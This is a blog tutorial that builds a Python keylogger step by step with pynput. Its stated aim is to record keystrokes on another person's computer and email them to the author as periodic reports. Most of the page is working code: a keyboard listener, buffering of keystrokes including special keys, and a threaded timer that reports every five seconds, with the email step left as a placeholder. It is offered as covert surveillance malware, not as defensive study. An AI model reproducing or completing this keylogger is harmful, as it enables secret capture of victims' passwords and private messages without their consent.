Writing keylogger using python

#WHAT U WILL LEARN

To make a program that can

  • Record keys pressed on the keyboard by the host and send us in the E-mail

Getting started!

install pynput library in Linux/window

  • pip install pynput

This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported. See here for the full documentation.

#CODE: Basic keylogger #1

  1. #!/usr/bin/env python

  2. import pynput.keyboard

  3. def process_key_press(key):
  4. print(key)
  5. keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
  6. with keybord_listener:
  7. keybord_listener.join()

#1_keylogger

#CODE: #2_Modefied_keylogger

#Logging Special Keys

  1. #!/usr/bin/env python
  2. import pynput.keyboard

  3. log = ""
  4. def process_key_press(key):
  5. global log
  6. log = log + str(key)
  7. print(log)

  8. keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
  9. with keybord_listener:
  10. keybord_listener.join()

#2_Modefied_keylogger
#EXPLANATION :

As we see that the print(key) has all the keys that the user has typed, if we use the send_mail function we face a problem that every time the person types anything we will receive the G-mail every time.

SO we need to Record keys somewhere that we can re-use it/send to G-mail

Hence we use a variable log = " "
  • You can see that we defined the log variable outside all of the functions.
  • Right after the import.
  • And then we're using the log inside one of our functions inside the callback function.
  • So we need to tell the callback function that this is a global variable.

So we're going to say global log.

WHAT IS A GLOBAL VARIABLE?

Basically, a global variable is a variable like a log that we have in here that we declare outside all of the
functions in our code.
  • So you can see that it's not indented it has zero indents zero spaces before it. log = " "
  • But then we use this variable inside a number of functions in our code and you'll see now as we build...
Our keylogger will actually be going to be using that access in it and modifying it in a number of functions inside my program. And every time I access it inside the function I'm going to have to say global followed by the variable (log) [global log]

Now global variables are useful in some scenarios as you can see in this scenario.

But it's not a very good idea to use a global variable.

The reason being is when your code gets big and you have one variable and you're modifying this variable in a number of functions it gets hard to track what's happening to this variable where it's getting
modified where it's good where it's being read and if things go wrong it gets very hard to track.

For now, we're going to use it like this.
But as we go through the course I'm actually going to show you a better implementation of all of this program.

But stay tuned for that.

For now, let's use this as a global variable and we're going to go down to my code.

    #CODE: #3_Modefied_keylogger

    1. #!/usr/bin/env python
    2. import pynput.keyboard

    3. log = ""
    4. def process_key_press(key):
    5. global log
    6. try:
    7. log = log + str(key.char)
    8. except AttributeError:
    9. if key == key.space:
    10. log = log + " " + str(key) + " "
    11. else:
    12. log = log + str(key)

    13. print(log)

    14. keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
    15. with keybord_listener:
    16. keybord_listener.join()

    #3_Modefied_keylogger

    #EXPLANATION: 
    #Two problem

    1. Cannot use special keys [face AttributeError]
    2. Removing extra spaces
    Try and except!

    we face AttributeError when we use space or any special keys cuz we used 

    • log = log + str(key.char)
    char means character but space and other special keys
    • [like EG- space, +,  -, Tab, etc...]
    are not characters so we need to tell python, so we use  try and except


    IF & else

    If u run this in LINUX output will be more unreadable form

      we see spaces in output which is difficult to read So to remove these spaces and make them more readable

      we use if and else 

      Space is logged as key.space 

      1. if key == key.space:
      2. log = log + " " + str(key) + " "

      you can see the final output in #3_Modefied_keylogger

      --------------------------------------------

      OUR-GOAL
      To send the recorded keystrokes to G-mail
      [when a user run the program this program will keep working for as long as the user is using their computer recording the keystrokes
      and sending me REPORTS.]

      Now if we implement our reporting function in the process key press 

      this function is going to be executed every time the user enters a key. So if my report function sends an e-mail then an email will be sent every time a user presses a key

      WHICH IS NOT GOOD!

      Now if you look at the code here you'll see that there is no good place for us to implement such a method.

      FOR EXAMPLE:
      #CODE:
      1. #!/usr/bin/env python
      2. import pynput.keyboard

      3. log = ""
      4. def process_key_press(key):
      5. global log
      6. try:
      7. log = log + str(key.char)
      8. except AttributeError:
      9. if key == key.space:
      10. log = log + " " + str(key) + " "
      11. else:
      12. log = log + str(key)
      13. print(log)

      14. def report():
      15. while True:
      16. sendmail
      17. sleep(60)

      18. keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
      19. with keybord_listener:
      20. report()
      21. keybord_listener.join()
      22. #report()
      Create a function and call it to report and then within this function a while true (run infinitely) And within this loop executes Sendmail let's say send an email and then sleep for example 60 seconds 

      WHY WE USE TIME 
      CUZ every 60 sec we will receive an E-mail of the keystrokes that the user typed!

      Then you could call this function from line 23/25

      It's going to be trapped within this while loop and it'll send an email wait for 60 seconds to go up again send an email again.
      The problem is the while loop in here is going to run before the listener starts.
      Therefore the code will be trapped within this while loop and the listener will never start 
      That's why in order to implement a function that will be executed every certain number of seconds without
      interrupting the execution of my program we're going to have to use THREADING

      IN SHORT
      We need to use the report function to send recoded keystrokes
      but we need to set up a specific time (EG:60s) 
      Cuz after 60s report function will send the recorded keystrokes
      to implement this specific time we need t0 create the loop
      (cuz every 60s report function will send the recorded keystrokes)
      while implementing the while loop we face the problem
      the while loop in here is going to run before the listener starts.
      Therefore the code will be trapped within this while loop and the listener will never start alternatively.
      so we are using 
      THREADING

        #CODE: #4_Modefied_keylogger

            #Threading & Recursion 

            1. #!/usr/bin/env python
            2. import pynput.keyboard
            3. import threading


            4. log = ""
            5. def process_key_press(key):
            6. global log
            7. try:
            8. log = log + str(key.char)
            9. except AttributeError:
            10. if key == key.space:
            11. log = log + " " + str(key) + " "
            12. else:
            13. log = log + str(key)

            14. def report():
            15. global log
            16. print(log)
            17. log = ""
            18. timer = threading.Timer(5, report)
            19. timer.start()

            20. keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
            21. with keybord_listener:
            22. report()
            23. keybord_listener.join()

            the output of #4Modefied keylogger

            #EXPLANATION: 

            #Threading documentation

            Report_function

            • Run in background
            • Don't interrupt program executing
            • Every X second, send a report 
            • A great choice for threading   

            1.import threading = We imported a library called threading 

            2.global log = then we use global log

            3.print(log) = Then we are going to print the log.
            So this would actually be the line where you would report.
            So you could write to disk or send it to email but for now, we're just going to print it on screen.

            4.log = " " = Then once you actually send the log you want to reset the log variable to an empty string because you've already locked this to a file or sent it to your email. So you want to start logging fresh with an empty string. hence we are going to set log equals to an empty string 

            5.timer = threading.Timer()To create a variable called timer and this is going to be equal to my threadingSo this is the threading model that we just imported and we're going to use a class called timer in this module and first of all, we're going to have to set an interval 

            6.timer = threading.Timer(5) = So a number of seconds for this timer. And in this example let's set it to five seconds which is very short but it will be easy for us when we're testing. 

            7.timer = threading.Timer(5, report) = And what we want to do is we say in basically after the timer starts to wait for five seconds and then call a function we going to give is the report function which is the same function that we're in right now.

            8.timer.start  finally, we're going to say I want to start my timer by saying timer.start
            #SUMMARY:

            First of all, we're creating our keyboard listener than before we even start the listener we are calling
            our report.
            The report is going to print the log which is empty.
            Then it's going to set it to nothing which is fine.
            And then we're creating a timer that will run on a separate thread.

            once we create the timer the timer is going to run here on the blue line 
            and then the program will continue execution on the yellow line.

            So we're setting a timer and what we're saying.
            Basically, once we do time or start I want you to wait five seconds and then call the report again.
            Now across these five seconds, the user's keystrokes are going to logged in the log.

            After five seconds the timer which is running on a separate thread will be called the report function again
            which is the same function that we're in.
            Again we're going to print the log set it to nothing and do the same which is basically going to say
            wait for five seconds and run the report again.
            And because this is running on a separate thread it will not log or interrupt the execution of my main
            program.

            We will have the timer execute in my report function and my Lisner working at the same time without locking each other.
            Now you can see that in my function in the report function we are calling the report.
            So basically we're calling the report function from itself and this is an example of a recursive function in programming.
            So any function that calls itself is called a recursive function

            Post a Comment

            If you have any doubts, please let me know

            Previous Post Next Post